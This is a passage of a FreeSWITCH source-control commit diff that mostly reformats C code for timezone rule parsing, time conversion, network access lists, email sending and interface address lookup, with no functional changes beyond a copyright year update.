- time_t ls_trans; /* transition time */
- long ls_corr; /* correction to apply */
+struct lsinfo { /* leap second information */
+ time_t ls_trans; /* transition time */
+ long ls_corr; /* correction to apply */
};
struct state {
- int leapcnt;
- int timecnt;
- int typecnt;
- int charcnt;
- time_t ats[TZ_MAX_TIMES];
- unsigned char types[TZ_MAX_TIMES];
- struct ttinfo ttis[TZ_MAX_TYPES];
- char chars[/* LINTED constant */CHARS_DEF];
- struct lsinfo lsis[TZ_MAX_LEAPS];
+ int leapcnt;
+ int timecnt;
+ int typecnt;
+ int charcnt;
+ time_t ats[TZ_MAX_TIMES];
+ unsigned char types[TZ_MAX_TIMES];
+ struct ttinfo ttis[TZ_MAX_TYPES];
+ char chars[ /* LINTED constant */ CHARS_DEF];
+ struct lsinfo lsis[TZ_MAX_LEAPS];
};
-static const int mon_lengths[2][MONSPERYEAR] = {
- { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 },
- { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }
+static const int mon_lengths[2][MONSPERYEAR] = {
+ {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
+ {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
};
-static const int year_lengths[2] = {
+static const int year_lengths[2] = {
DAYSPERNYEAR, DAYSPERLYEAR
};
@@ -1268,9 +1269,8 @@
{
register char c;
- while ((c = *strp) != '\0' && !is_digit(c) && c != ',' && c != '-' &&
- c != '+')
- ++strp;
+ while ((c = *strp) != '\0' && !is_digit(c) && c != ',' && c != '-' && c != '+')
+ ++strp;
return strp;
}
@@ -1282,10 +1282,10 @@
Otherwise, return a pointer to the first character not part of the number.
*/
-static const char *getnum(register const char *strp, int * const nump, const int min, const int max)
+static const char *getnum(register const char *strp, int *const nump, const int min, const int max)
{
- register char c;
- register int num;
+ register char c;
+ register int num;
if (strp == NULL || !is_digit(c = *strp))
return NULL;
@@ -1293,11 +1293,11 @@
do {
num = num * 10 + (c - '0');
if (num > max)
- return NULL; /* illegal value */
+ return NULL; /* illegal value */
c = *++strp;
} while (is_digit(c));
if (num < min)
- return NULL; /* illegal value */
+ return NULL; /* illegal value */
*nump = num;
return strp;
}
@@ -1310,16 +1310,16 @@
of seconds.
*/
-static const char *getsecs(register const char *strp, long * const secsp)
+static const char *getsecs(register const char *strp, long *const secsp)
{
- int num;
+ int num;
/*
- ** `HOURSPERDAY * DAYSPERWEEK - 1' allows quasi-Posix rules like
- ** "M10.4.6/26", which does not conform to Posix,
- ** but which specifies the equivalent of
- ** ``02:00 on the first Sunday on or after 23 Oct''.
- */
+ ** `HOURSPERDAY * DAYSPERWEEK - 1' allows quasi-Posix rules like
+ ** "M10.4.6/26", which does not conform to Posix,
+ ** but which specifies the equivalent of
+ ** ``02:00 on the first Sunday on or after 23 Oct''.
+ */
strp = getnum(strp, &num, 0, HOURSPERDAY * DAYSPERWEEK - 1);
if (strp == NULL)
return NULL;
@@ -1349,9 +1349,9 @@
Otherwise, return a pointer to the first character not part of the time.
*/
-static const char *getoffset(register const char *strp, long * const offsetp)
+static const char *getoffset(register const char *strp, long *const offsetp)
{
- register int neg = 0;
+ register int neg = 0;
if (*strp == '-') {
neg = 1;
@@ -1360,7 +1360,7 @@
++strp;
strp = getsecs(strp, offsetp);
if (strp == NULL)
- return NULL; /* illegal time */
+ return NULL; /* illegal time */
if (neg)
*offsetp = -*offsetp;
return strp;
@@ -1373,19 +1373,19 @@
Otherwise, return a pointer to the first character not part of the rule.
*/
-static const char *getrule(const char *strp, register struct rule * const rulep)
+static const char *getrule(const char *strp, register struct rule *const rulep)
{
if (*strp == 'J') {
/*
- ** Julian day.
- */
+ ** Julian day.
+ */
rulep->r_type = JULIAN_DAY;
++strp;
strp = getnum(strp, &rulep->r_day, 1, DAYSPERNYEAR);
} else if (*strp == 'M') {
/*
- ** Month, week, day.
- */
+ ** Month, week, day.
+ */
rulep->r_type = MONTH_NTH_DAY_OF_WEEK;
++strp;
strp = getnum(strp, &rulep->r_mon, 1, MONSPERYEAR);
@@ -1401,20 +1401,22 @@
strp = getnum(strp, &rulep->r_day, 0, DAYSPERWEEK - 1);
} else if (is_digit(*strp)) {
/*
- ** Day of year.
- */
+ ** Day of year.
+ */
rulep->r_type = DAY_OF_YEAR;
strp = getnum(strp, &rulep->r_day, 0, DAYSPERLYEAR - 1);
- } else return NULL; /* invalid format */
+ } else
+ return NULL; /* invalid format */
if (strp == NULL)
return NULL;
if (*strp == '/') {
/*
- ** Time specified.
- */
+ ** Time specified.
+ */
++strp;
strp = getsecs(strp, &rulep->r_time);
- } else rulep->r_time = 2 * SECSPERHOUR; /* default = 2:00:00 */
+ } else
+ rulep->r_time = 2 * SECSPERHOUR; /* default = 2:00:00 */
return strp;
}
@@ -1425,12 +1427,12 @@
calculate the Epoch-relative time that rule takes effect.
*/
-static time_t transtime(const time_t janfirst, const int year, register const struct rule * const rulep, const long offset)
+static time_t transtime(const time_t janfirst, const int year, register const struct rule *const rulep, const long offset)
{
- register int leapyear;
- register time_t value;
- register int i;
- int d, m1, yy0, yy1, yy2, dow;
+ register int leapyear;
+ register time_t value;
+ register int i;
+ int d, m1, yy0, yy1, yy2, dow;
INITIALIZE(value);
leapyear = isleap(year);
@@ -1438,12 +1440,12 @@
case JULIAN_DAY:
/*
- ** Jn - Julian day, 1 == January 1, 60 == March 1 even in leap
- ** years.
- ** In non-leap years, or if the day number is 59 or less, just
- ** add SECSPERDAY times the day number-1 to the time of
- ** January 1, midnight, to get the day.
- */
+ ** Jn - Julian day, 1 == January 1, 60 == March 1 even in leap
+ ** years.
+ ** In non-leap years, or if the day number is 59 or less, just
+ ** add SECSPERDAY times the day number-1 to the time of
+ ** January 1, midnight, to get the day.
+ */
value = janfirst + (rulep->r_day - 1) * SECSPERDAY;
if (leapyear && rulep->r_day >= 60)
value += SECSPERDAY;
@@ -1451,62 +1453,60 @@
case DAY_OF_YEAR:
/*
- ** n - day of year.
- ** Just add SECSPERDAY times the day number to the time of
- ** January 1, midnight, to get the day.
- */
+ ** n - day of year.
+ ** Just add SECSPERDAY times the day number to the time of
+ ** January 1, midnight, to get the day.
+ */
value = janfirst + rulep->r_day * SECSPERDAY;
break;
case MONTH_NTH_DAY_OF_WEEK:
/*
- ** Mm.n.d - nth "dth day" of month m.
- */
+ ** Mm.n.d - nth "dth day" of month m.
+ */
value = janfirst;
for (i = 0; i < rulep->r_mon - 1; ++i)
value += mon_lengths[leapyear][i] * SECSPERDAY;
/*
- ** Use Zeller's Congruence to get day-of-week of first day of
- ** month.
- */
+ ** Use Zeller's Congruence to get day-of-week of first day of
+ ** month.
+ */
m1 = (rulep->r_mon + 9) % 12 + 1;
yy0 = (rulep->r_mon <= 2) ? (year - 1) : year;
yy1 = yy0 / 100;
yy2 = yy0 % 100;
- dow = ((26 * m1 - 2) / 10 +
- 1 + yy2 + yy2 / 4 + yy1 / 4 - 2 * yy1) % 7;
+ dow = ((26 * m1 - 2) / 10 + 1 + yy2 + yy2 / 4 + yy1 / 4 - 2 * yy1) % 7;
if (dow < 0)
dow += DAYSPERWEEK;
/*
- ** "dow" is the day-of-week of the first day of the month. Get
- ** the day-of-month (zero-origin) of the first "dow" day of the
- ** month.
- */
+ ** "dow" is the day-of-week of the first day of the month. Get
+ ** the day-of-month (zero-origin) of the first "dow" day of the
+ ** month.
+ */
d = rulep->r_day - dow;
if (d < 0)
d += DAYSPERWEEK;
for (i = 1; i < rulep->r_week; ++i) {
- if (d + DAYSPERWEEK >=
- mon_lengths[leapyear][rulep->r_mon - 1])
- break;
+ if (d + DAYSPERWEEK >= mon_lengths[leapyear][rulep->r_mon - 1])
+ break;
d += DAYSPERWEEK;
}
/*
- ** "d" is the day-of-month (zero-origin) of the day we want.
- */
+ ** "d" is the day-of-month (zero-origin) of the day we want.
+ */
value += d * SECSPERDAY;
break;
}
/*
- ** "value" is the Epoch-relative time of 00:00:00 UTC on the day in
- ** question. To get the Epoch-relative time of the specified local
- ** time on that day, add the transition time and the current offset
- ** from UTC.
- */
+ ** "value" is the Epoch-relative time of 00:00:00 UTC on the day in
+ ** question. To get the Epoch-relative time of the specified local
+ ** time on that day, add the transition time and the current offset
+ ** from UTC.
+ */
return value + rulep->r_time + offset;
}
@@ -1517,17 +1517,17 @@
appropriate.
*/
-static int tzparse(const char *name, register struct state * const sp, const int lastditch)
+static int tzparse(const char *name, register struct state *const sp, const int lastditch)
{
- const char * stdname;
- const char * dstname;
- size_t stdlen;
- size_t dstlen;
- long stdoffset;
- long dstoffset;
- register time_t * atp;
- register unsigned char * typep;
- register char * cp;
+ const char *stdname;
+ const char *dstname;
+ size_t stdlen;
+ size_t dstlen;
+ long stdoffset;
+ long dstoffset;
+ register time_t *atp;
+ register unsigned char *typep;
+ register char *cp;
INITIALIZE(dstname);
@@ -1551,7 +1551,7 @@
return -1;
}
- sp->leapcnt = 0; /* so, we're off a little */
+ sp->leapcnt = 0; /* so, we're off a little */
if (*name != '\0') {
dstname = name;
@@ -1559,24 +1559,21 @@
dstlen = name - dstname; /* length of DST zone name */
if (dstlen < 3)
return -1;
- if (*name != '\0' && *name != ',' && *name != ';')
- {
+ if (*name != '\0' && *name != ',' && *name != ';') {
name = getoffset(name, &dstoffset);
if (name == NULL)
return -1;
- }
- else
- dstoffset = stdoffset - SECSPERHOUR;
+ } else
+ dstoffset = stdoffset - SECSPERHOUR;
/* Go parsing the daylight saving stuff */
- if (*name == ',' || *name == ';')
- {
- struct rule start;
- struct rule end;
- register int year;
- register time_t janfirst;
- time_t starttime;
- time_t endtime;
+ if (*name == ',' || *name == ';') {
+ struct rule start;
+ struct rule end;
+ register int year;
+ register time_t janfirst;
+ time_t starttime;
+ time_t endtime;
++name;
if ((name = getrule(name, &start)) == NULL)
@@ -1591,8 +1588,8 @@
sp->typecnt = 2; /* standard time and DST */
/*
- ** Two transitions per year, from EPOCH_YEAR to 2037.
- */
+ ** Two transitions per year, from EPOCH_YEAR to 2037.
+ */
sp->timecnt = 2 * (2037 - EPOCH_YEAR + 1);
if (sp->timecnt > TZ_MAX_TIMES)
@@ -1600,7 +1597,7 @@
sp->ttis[0].tt_gmtoff = -dstoffset;
sp->ttis[0].tt_isdst = 1;
- sp->ttis[0].tt_abbrind = (int)(stdlen + 1);
+ sp->ttis[0].tt_abbrind = (int) (stdlen + 1);
sp->ttis[1].tt_gmtoff = -stdoffset;
sp->ttis[1].tt_isdst = 0;
sp->ttis[1].tt_abbrind = 0;
@@ -1610,10 +1607,8 @@
janfirst = 0;
for (year = EPOCH_YEAR; year <= 2037; ++year) {
- starttime = transtime(janfirst, year, &start,
- stdoffset);
- endtime = transtime(janfirst, year, &end,
- dstoffset);
+ starttime = transtime(janfirst, year, &start, stdoffset);
+ endtime = transtime(janfirst, year, &end, dstoffset);
if (starttime > endtime) {
*atp++ = endtime;
*typep++ = 1; /* DST ends */
@@ -1630,24 +1625,23 @@
}
} else {
- register long theirstdoffset;
- register long theirdstoffset;
- register long theiroffset;
- register int isdst;
- register int i;
- register int j;
+ register long theirstdoffset;
+ register long theirdstoffset;
+ register long theiroffset;
+ register int isdst;
+ register int i;
+ register int j;
if (*name != '\0')
return -1;
/*
- Initial values of theirstdoffset and theirdstoffset.
- */
+ Initial values of theirstdoffset and theirdstoffset.
+ */
theirstdoffset = 0;
for (i = 0; i < sp->timecnt; ++i) {
j = sp->types[i];
if (!sp->ttis[j].tt_isdst) {
- theirstdoffset =
- -sp->ttis[j].tt_gmtoff;
+ theirstdoffset = -sp->ttis[j].tt_gmtoff;
break;
}
}
@@ -1655,63 +1649,61 @@
for (i = 0; i < sp->timecnt; ++i) {
j = sp->types[i];
if (sp->ttis[j].tt_isdst) {
- theirdstoffset =
- -sp->ttis[j].tt_gmtoff;
+ theirdstoffset = -sp->ttis[j].tt_gmtoff;
break;
}
}
/*
- ** Initially we're assumed to be in standard time.
- */
+ ** Initially we're assumed to be in standard time.
+ */
isdst = FALSE;
theiroffset = theirstdoffset;
/*
- ** Now juggle transition times and types
- ** tracking offsets as you do.
- */
+ ** Now juggle transition times and types
+ ** tracking offsets as you do.
+ */
for (i = 0; i < sp->timecnt; ++i) {
j = sp->types[i];
- sp->types[i] = (unsigned char)sp->ttis[j].tt_isdst;
+ sp->types[i] = (unsigned char) sp->ttis[j].tt_isdst;
if (sp->ttis[j].tt_ttisgmt) {
/* No adjustment to transition time */
} else {
/*
- ** If summer time is in effect, and the
- ** transition time was not specified as
- ** standard time, add the summer time
- ** offset to the transition time;
- ** otherwise, add the standard time
- ** offset to the transition time.
- */
+ ** If summer time is in effect, and the
+ ** transition time was not specified as
+ ** standard time, add the summer time
+ ** offset to the transition time;
+ ** otherwise, add the standard time
+ ** offset to the transition time.
+ */
/*
- ** Transitions from DST to DDST
- ** will effectively disappear since
- ** POSIX provides for only one DST
- ** offset.
- */
+ ** Transitions from DST to DDST
+ ** will effectively disappear since
+ ** POSIX provides for only one DST
+ ** offset.
+ */
if (isdst && !sp->ttis[j].tt_ttisstd) {
- sp->ats[i] += dstoffset -
- theirdstoffset;
+ sp->ats[i] += dstoffset - theirdstoffset;
} else {
- sp->ats[i] += stdoffset -
- theirstdoffset;
+ sp->ats[i] += stdoffset - theirstdoffset;
}
}
theiroffset = -sp->ttis[j].tt_gmtoff;
if (sp->ttis[j].tt_isdst)
theirdstoffset = theiroffset;
- else theirstdoffset = theiroffset;
+ else
+ theirstdoffset = theiroffset;
}
/*
- ** Finally, fill in ttis.
- ** ttisstd and ttisgmt need not be handled.
- */
+ ** Finally, fill in ttis.
+ ** ttisstd and ttisgmt need not be handled.
+ */
sp->ttis[0].tt_gmtoff = -stdoffset;
sp->ttis[0].tt_isdst = FALSE;
sp->ttis[0].tt_abbrind = 0;
sp->ttis[1].tt_gmtoff = -dstoffset;
sp->ttis[1].tt_isdst = TRUE;
- sp->ttis[1].tt_abbrind = (int)(stdlen + 1);
+ sp->ttis[1].tt_abbrind = (int) (stdlen + 1);
sp->typecnt = 2;
}
} else {
@@ -1723,9 +1715,9 @@
sp->ttis[0].tt_abbrind = 0;
}
- sp->charcnt = (int)(stdlen + 1);
+ sp->charcnt = (int) (stdlen + 1);
if (dstlen != 0)
- sp->charcnt += (int)(dstlen + 1);
+ sp->charcnt += (int) (dstlen + 1);
if ((size_t) sp->charcnt > sizeof sp->chars)
return -1;
cp = sp->chars;
@@ -1748,17 +1740,17 @@
#define switch_assert(expr) assert(expr)
#endif
-static void timesub(const time_t * const timep, const long offset, register const struct state * const sp, register struct tm * const tmp)
+static void timesub(const time_t *const timep, const long offset, register const struct state *const sp, register struct tm *const tmp)
{
- register const struct lsinfo * lp;
- register long days;
- register time_t rem;
- register int y;
- register int yleap;
- register const int * ip;
- register long corr;
- register int hit;
- register int i;
+ register const struct lsinfo *lp;
+ register long days;
+ register time_t rem;
+ register int y;
+ register int yleap;
+ register const int *ip;
+ register long corr;
+ register int hit;
+ register int i;
switch_assert(timep != NULL);
switch_assert(sp != NULL);
@@ -1772,32 +1764,27 @@
lp = &sp->lsis[i];
if (*timep >= lp->ls_trans) {
if (*timep == lp->ls_trans) {
- hit = ((i == 0 && lp->ls_corr > 0) ||
- (i > 0 && lp->ls_corr > sp->lsis[i - 1].ls_corr));
+ hit = ((i == 0 && lp->ls_corr > 0) || (i > 0 && lp->ls_corr > sp->lsis[i - 1].ls_corr));
if (hit)
- while (i > 0 &&
- sp->lsis[i].ls_trans ==
- sp->lsis[i - 1].ls_trans + 1 &&
- sp->lsis[i].ls_corr ==
- sp->lsis[i - 1].ls_corr + 1) {
- ++hit;
- --i;
+ while (i > 0 && sp->lsis[i].ls_trans == sp->lsis[i - 1].ls_trans + 1 && sp->lsis[i].ls_corr == sp->lsis[i - 1].ls_corr + 1) {
+ ++hit;
+ --i;
}
}
corr = lp->ls_corr;
break;
}
}
- days = (long)(*timep / SECSPERDAY);
+ days = (long) (*timep / SECSPERDAY);
rem = *timep % SECSPERDAY;
-#ifdef mc68k
+#ifdef mc68k
/* If this is for CPU bugs workarounds, i would remove this anyway. Who would use it on an old mc68k ? */
if (*timep == 0x80000000) {
/*
- ** A 3B1 muffs the division on the most negative number.
- */
+ ** A 3B1 muffs the division on the most negative number.
+ */
days = -24855;
rem = -11648;
}
@@ -1817,9 +1804,9 @@
tmp->tm_min = (int) (rem / SECSPERMIN);
/*
- ** A positive leap second requires a special
- ** representation. This uses "... ??:59:60" et seq.
- */
+ ** A positive leap second requires a special
+ ** representation. This uses "... ??:59:60" et seq.
+ */
tmp->tm_sec = (int) (rem % SECSPERMIN) + hit;
tmp->tm_wday = (int) ((EPOCH_WDAY + days) % DAYSPERWEEK);
@@ -1831,14 +1818,12 @@
#define LEAPS_THRU_END_OF(y) ((y) / 4 - (y) / 100 + (y) / 400)
while (days < 0 || days >= (long) year_lengths[yleap = isleap(y)]) {
- register int newy;
+ register int newy;
- newy = (int)(y + days / DAYSPERNYEAR);
+ newy = (int) (y + days / DAYSPERNYEAR);
if (days < 0)
--newy;
- days -= (newy - y) * DAYSPERNYEAR +
- LEAPS_THRU_END_OF(newy - 1) -
- LEAPS_THRU_END_OF(y - 1);
+ days -= (newy - y) * DAYSPERNYEAR + LEAPS_THRU_END_OF(newy - 1) - LEAPS_THRU_END_OF(y - 1);
y = newy;
}
@@ -1861,29 +1846,26 @@
************************************************************************** */
-static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp )
+static void tztime(const time_t *const timep, const char *tzstring, struct tm *const tmp)
{
- struct state *tzptr,
- *sp;
- const time_t t = *timep;
- register int i;
- register const struct ttinfo *ttisp;
+ struct state *tzptr, *sp;
+ const time_t t = *timep;
+ register int i;
+ register const struct ttinfo *ttisp;
- if ( tzstring == NULL )
+ if (tzstring == NULL)
tzstring = gmt;
- tzptr = (struct state *) malloc(sizeof (struct state));
+ tzptr = (struct state *) malloc(sizeof(struct state));
sp = tzptr;
- if (tzptr != NULL)
- {
-
+ if (tzptr != NULL) {
+
memset(tzptr, 0, sizeof(struct state));
(void) tzparse(tzstring, tzptr, FALSE);
- if (sp->timecnt == 0 || t < sp->ats[0])
- {
+ if (sp->timecnt == 0 || t < sp->ats[0]) {
i = 0;
while (sp->ttis[i].tt_isdst)
if (++i >= sp->typecnt) {
@@ -1899,14 +1881,13 @@
ttisp = &sp->ttis[i];
/*
- To get (wrong) behavior that's compatible with System V Release 2.0
- you'd replace the statement below with
- t += ttisp->tt_gmtoff;
- timesub(&t, 0L, sp, tmp);
- */
- if ( tmp != NULL ) /* Just a check not to assert */
- {
- timesub( &t, ttisp->tt_gmtoff, sp, tmp);
+ To get (wrong) behavior that's compatible with System V Release 2.0
+ you'd replace the statement below with
+ t += ttisp->tt_gmtoff;
+ timesub(&t, 0L, sp, tmp);
+ */
+ if (tmp != NULL) { /* Just a check not to assert */
+ timesub(&t, ttisp->tt_gmtoff, sp, tmp);
tmp->tm_isdst = ttisp->tt_isdst;
#if defined(HAVE_STRUCT_TM_TM_ZONE)
tmp->tm_zone = &sp->chars[ttisp->tt_abbrind];
Modified: freeswitch/trunk/src/switch_utils.c (16578 => 16579)
--- freeswitch/trunk/src/switch_utils.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_utils.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -93,7 +93,7 @@
new_frame = malloc(sizeof(*new_frame));
switch_assert(new_frame);
-
+
*new_frame = *orig;
switch_set_flag(new_frame, SFF_DYNAMIC);
@@ -102,7 +102,7 @@
memcpy(new_frame->data, orig->data, orig->datalen);
new_frame->codec = NULL;
-
+
*clone = new_frame;
return SWITCH_STATUS_SUCCESS;
@@ -113,7 +113,7 @@
if (!frame || !*frame || !switch_test_flag((*frame), SFF_DYNAMIC)) {
return SWITCH_STATUS_FALSE;
}
-
+
switch_safe_free((*frame)->data);
free(*frame);
*frame = NULL;
@@ -121,7 +121,8 @@
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type,
+ switch_memory_pool_t *pool)
{
switch_network_list_t *new_list;
@@ -164,14 +165,15 @@
return ok;
}
-SWITCH_DECLARE(switch_status_t) switch_network_list_perform_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token)
+SWITCH_DECLARE(switch_status_t) switch_network_list_perform_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok,
+ const char *token)
{
uint32_t ip, mask, bits;
switch_network_node_t *node;
if (switch_parse_cidr(cidr_str, &ip, &mask, &bits)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Adding %s (%s) [%s] to list %s\n",
- cidr_str, ok ? "allow" : "deny", switch_str_nil(token), list->name);
+ cidr_str, ok ? "allow" : "deny", switch_str_nil(token), list->name);
return SWITCH_STATUS_GENERR;
}
@@ -186,11 +188,11 @@
if (!zstr(token)) {
node->token = switch_core_strdup(list->pool, token);
}
-
+
node->next = list->node_head;
list->node_head = node;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n",
cidr_str, ok ? "allow" : "deny", switch_str_nil(token), list->name);
return SWITCH_STATUS_SUCCESS;
@@ -200,14 +202,14 @@
{
char *cidr_str_dup = NULL;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (strchr(cidr_str, ',')) {
char *argv[32] = { 0 };
- int i,argc;
+ int i, argc;
cidr_str_dup = strdup(cidr_str);
-
+
switch_assert(cidr_str_dup);
- if ((argc = switch_separate_string(cidr_str_dup, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+ if ((argc = switch_separate_string(cidr_str_dup, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
for (i = 0; i < argc; i++) {
switch_status_t this_status;
if ((this_status = switch_network_list_perform_add_cidr_token(list, argv[i], ok, token)) != SWITCH_STATUS_SUCCESS) {
@@ -218,7 +220,7 @@
} else {
status = switch_network_list_perform_add_cidr_token(list, cidr_str, ok, token);
}
-
+
switch_safe_free(cidr_str_dup);
return status;
}
@@ -242,7 +244,7 @@
mask = (mask & 0x33333333) + ((mask >> 2) & 0x33333333);
node->bits = (((mask + (mask >> 4)) & 0xF0F0F0F) * 0x1010101) >> 24;
node->str = switch_core_sprintf(list->pool, "%s:%s", host, mask_str);
-
+
node->next = list->node_head;
list->node_head = node;
@@ -461,13 +463,10 @@
return 1;
}
-SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
- const char *from,
- const char *headers,
- const char *body,
- const char *file,
- const char *convert_cmd,
- const char *convert_ext)
+SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
+ const char *from,
+ const char *headers,
+ const char *body, const char *file, const char *convert_cmd, const char *convert_ext)
{
char *bound = "XXXX_boundary_XXXX";
const char *mime_type = "audio/inline";
@@ -489,7 +488,7 @@
newfile = switch_mprintf("%s.%s", dupfile, convert_ext);
}
}
-
+
if (newfile) {
char cmd[1024] = "";
switch_snprintf(cmd, sizeof(cmd), "%s %s %s", convert_cmd, file, newfile);
@@ -531,7 +530,7 @@
switch_snprintf(buf, B64BUFFLEN, "--%s\nContent-Type: text/plain\n\n", bound);
}
if (!write_buf(fd, buf)) {
- rval = SWITCH_FALSE;
+ rval = SWITCH_FALSE;
goto end;
}
@@ -615,7 +614,6 @@
if (zstr(from)) {
from = "freeswitch";
}
-
#ifdef WIN32
switch_snprintf(buf, B64BUFFLEN, "type %s | %s -f %s %s %s", filename, runtime.mailer_app, from, runtime.mailer_app_args, to);
#else
@@ -637,8 +635,8 @@
rval = SWITCH_TRUE;
- end:
-
+ end:
+
if (newfile) {
unlink(newfile);
free(newfile);
@@ -840,11 +838,11 @@
if (!me || getifaddrs(&ifaddrs) < 0) {
return -1;
- }
+ }
- for(i = ifaddrs; i; i = i->ifa_next) {
- struct sockaddr_in *s = (struct sockaddr_in *)i->ifa_addr;
- struct sockaddr_in *m = (struct sockaddr_in *)i->ifa_netmask;
+ for (i = ifaddrs; i; i = i->ifa_next) {
+ struct sockaddr_in *s = (struct sockaddr_in *) i->ifa_addr;
+ struct sockaddr_in *m = (struct sockaddr_in *) i->ifa_netmask;
if (s && m && s->sin_addr.s_addr == me->sin_addr.s_addr) {
*mask = m->sin_addr.s_addr;
@@ -852,9 +850,9 @@
return 0;
}
}
-
+
freeifaddrs(ifaddrs);
-
+
return -2;
}
#elif defined(__linux__)
@@ -866,16 +864,16 @@
static struct ifreq ifreqs[20] = { {{{0}}} };
struct ifconf ifconf;
- int nifaces, i;
+ int nifaces, i;
int sock;
int r = -1;
-
- memset(&ifconf,0,sizeof(ifconf));
- ifconf.ifc_buf = (char*) (ifreqs);
+
+ memset(&ifconf, 0, sizeof(ifconf));
+ ifconf.ifc_buf = (char *) (ifreqs);
ifconf.ifc_len = sizeof(ifreqs);
-
- if ((sock = socket(AF_INET,SOCK_STREAM, 0)) < 0) {
+
+ if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
goto end;
}
@@ -885,17 +883,17 @@
nifaces = ifconf.ifc_len / sizeof(struct ifreq);
- for(i = 0; i < nifaces; i++) {
+ for (i = 0; i < nifaces; i++) {
struct sockaddr_in *sin = NULL;
struct in_addr ip;
ioctl(sock, SIOCGIFADDR, &ifreqs[i]);
- sin = (struct sockaddr_in *)&ifreqs[i].ifr_addr;
+ sin = (struct sockaddr_in *) &ifreqs[i].ifr_addr;
ip = sin->sin_addr;
if (ip.s_addr == me->sin_addr.s_addr) {
ioctl(sock, SIOCGIFNETMASK, &ifreqs[i]);
- sin = (struct sockaddr_in *)&ifreqs[i].ifr_addr;
+ sin = (struct sockaddr_in *) &ifreqs[i].ifr_addr;
//mask = sin->sin_addr;
*mask = sin->sin_addr.s_addr;
r = 0;
@@ -903,9 +901,9 @@
}
}
-
- end:
-
+
+ end:
+
close(sock);
return r;
@@ -932,20 +930,20 @@
goto end;
}
- interface_count = bytes / sizeof(INTERFACE_INFO);
+ interface_count = bytes / sizeof(INTERFACE_INFO);
for (x = 0; x < interface_count; ++x) {
- struct sockaddr_in *addr = (struct sockaddr_in *) & (interfaces[x].iiAddress);
+ struct sockaddr_in *addr = (struct sockaddr_in *) &(interfaces[x].iiAddress);
if (addr->sin_addr.s_addr == me->sin_addr.s_addr) {
- struct sockaddr_in *netmask = (struct sockaddr_in *) & (interfaces[x].iiNetmask);
+ struct sockaddr_in *netmask = (struct sockaddr_in *) &(interfaces[x].iiNetmask);
*mask = netmask->sin_addr.s_addr;
r = 0;
break;
}
- }
+ }
-end:
+ end:
closesocket(sock);
return r;
}
@@ -963,18 +961,18 @@
SWITCH_DECLARE(switch_status_t) switch_resolve_host(const char *host, char *buf, size_t buflen)
{
- struct addrinfo *ai;
- int err;
-
- if ((err = getaddrinfo(host, 0, 0, &ai))) {
- return SWITCH_STATUS_FALSE;
- }
+ struct addrinfo *ai;
+ int err;
+ if ((err = getaddrinfo(host, 0, 0, &ai))) {
+ return SWITCH_STATUS_FALSE;
+ }
+
get_addr(buf, buflen, ai->ai_addr, sizeof(*ai->ai_addr));
- freeaddrinfo(ai);
+ freeaddrinfo(ai);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
@@ -1001,7 +999,7 @@
if (len < 16) {
return status;
}
-
+
switch (family) {
case AF_INET:
switch_copy_string(buf, "127.0.0.1", len);
@@ -1009,7 +1007,7 @@
break;
case AF_INET6:
switch_copy_string(buf, "::1", len);
- base = "2001:503:BA3E::2:30"; // DNS Root server A
+ base = "2001:503:BA3E::2:30"; // DNS Root server A
break;
default:
base = "127.0.0.1";
@@ -1037,7 +1035,7 @@
freeaddrinfo(address_info);
if (!getnameinfo((const struct sockaddr *) &l_address, l_address_len, buf, len, NULL, 0, NI_NUMERICHOST)) {
- status = SWITCH_STATUS_SUCCESS;
+ status = SWITCH_STATUS_SUCCESS;
if (mask) {
get_netmask((struct sockaddr_in *) &l_address, mask);
}
@@ -1075,9 +1073,9 @@
goto doh;
}
- switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr*)&iface_out, sizeof(iface_out)), len);
+ switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr *) &iface_out, sizeof(iface_out)), len);
if (mask) {
- get_netmask((struct sockaddr_in*)&iface_out, mask);
+ get_netmask((struct sockaddr_in *) &iface_out, mask);
}
status = SWITCH_STATUS_SUCCESS;
@@ -1372,9 +1370,9 @@
SWITCH_DECLARE(int) get_addr_int(switch_sockaddr_t *sa)
{
- struct sockaddr_in *s = (struct sockaddr_in *)&sa->sa;
+ struct sockaddr_in *s = (struct sockaddr_in *) &sa->sa;
- return ntohs((unsigned short)s->sin_addr.s_addr);
+ return ntohs((unsigned short) s->sin_addr.s_addr);
}
SWITCH_DECLARE(int) switch_cmp_addr(switch_sockaddr_t *sa1, switch_sockaddr_t *sa2)
@@ -1388,37 +1386,41 @@
struct sockaddr *ss1;
struct sockaddr *ss2;
- if (!(sa1 && sa2)) return 0;
+ if (!(sa1 && sa2))
+ return 0;
